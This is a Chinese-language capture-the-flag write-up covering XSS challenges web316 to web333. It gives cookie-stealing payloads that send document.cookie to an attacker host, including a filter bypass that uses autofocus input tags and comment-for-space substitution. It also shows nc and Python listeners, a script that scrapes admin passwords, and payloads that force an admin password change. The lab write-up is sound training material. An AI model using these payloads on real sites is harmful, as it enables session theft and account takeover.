web316-web333XSS篇
![](https://image.baidu.com/search/down?url=https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2024%2Fjpeg%2F34866087%2F1708192353223-c3fc0efb-5963-4ba4-ad14-c0a4c42c2ec1.jpeg%3Fx-oss-process%3Dimage%2Fresize%2Cw_1280%2Climit_0%2Finterlace%2C1&_r_=3789bf39-ded0-224a-b139-7999261787f3)
web316-web333XSS篇
Natro92提前准备
准备几个XSS注入网站:
如https://xsshs.cn/,https://xss.pt/,http://xsscom.com去生成xss链接
当然,除此之外,也可以自己编写:
1 |
|
web316
后台bot会自动访问你的连接,我们只需要写一段恶意XSS内容即可。
这里用https://xss.pt/进行复现。
注册好后,创建项目之后,把获取cookie添加上。
好像抓到的是自己🤔。
那就试一试写在自己的VPS上。
1 |
|
payload:<script>document.location.href="http://ip/xss.php?cookie="+document.cookie</script>
传入就可以得到需要的flag了:
web317
过滤了script,随便换一个标签名称就行了,比如input:
1 | <input onfocus="window.open('http://natro92.top/xss.php?cookie='+document.cookie)" autofocus> |
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
其他接入方法
其他的方法:
1 | <svg onload="window.open('http://ip/'+document.cookie)"> |
用上面这种方法直接用nc接就行,或者python的服务器。
1 | python3 -m http.server 39543 |
注意这里有一个小坑,我最开始测试,无论nc还是什么都是不行的,想了一下才想起来,vps是有防火墙的,如果你没有在阿里云或者其他云平台开放端口是打不进来的。
同理,使用nc也是可以达到效果的:
1 | nc -vlp 8888 |
payload也就可以简便为:
1 | <input onfocus="window.open('http://xxx/'+document.cookie)" autofocus> |
可能慢一点,多刷新。
既然如此,dnslog估计也是可以用的。
web318-319
1 | <input onfocus="window.open('http://xxx/'+document.cookie)" autofocus> |
web320-web326
过滤掉了空格
绕过方法:
- TAB
- /
- /**/
payload:
1 | <input/**/onfocus="window.open('http://xxx/'+document.cookie)"/**/autofocus> |
web327
存储型XSS,还是用之前payload。
这里需要给admin发信息,意思大概是获取admin的cookie。
web328
有个登录页面,但是登不上去,旁边有个注册,注册的用户管理用户名会被管理员检测到。因此将payload放入用户名中。
虽然没有flag,但是有cookie,尝试登录一下。PHPSESSID=7e8jf9pathne9tvgnb02kvj4h9
在hackbar中传入的cookie是临时的而且没有删除掉本地的cookie,我们需要写到存储中,并删除掉原有cookie值:
然后就能看到cookie了。
web329
直接用之前的方法,得到的cookie是前一次的cookie(管理员打开之后立即退出了登录),cookie刷新了,也就失效了。
那直接写段js,使其执行时获取到页面的其他显示密码即可(因为管理员页面是显示密码的。)。
1 | document.querySelectorAll('.laytable-cell-1-0-1').forEach(cell => { |
这时候我们注册测试一下。
为什么会没接到呢。
试一试wp的写法:
1 | <script>$('.laytable-cell-1-0-1').each(function(index,value){ |
怪了,这种就可以传上去:
这里面有文本干扰,所以在末尾添加一个{
来定向获取flag。
也就是:
1 | <script>$('.laytable-cell-1-0-1').each(function(index,value){ |
这时就能得到flag了。
web330
多了一个修改密码,直接让管理员修改密码即可。查看访问格式:
1 | <script>window.location.href='http://127.0.0.1/api/change.php?p=admin';</script> |
注意,当登录之后访问页面之后就会发现会跳转到修改的页面,手速快点复制下来。
web331
与上题类似,但是这里使用的是post:
修改一下payload即可:
1 | <script>$.ajax({url:'api/change.php',type:'post',data:{p:'admin'}});</script> |
web332
为什么给admin转-99999就变成正的了,有点摸不到头脑
web333
自己给自己转可以加钱,什么虚空科技。直接上脚本
1 | import requests |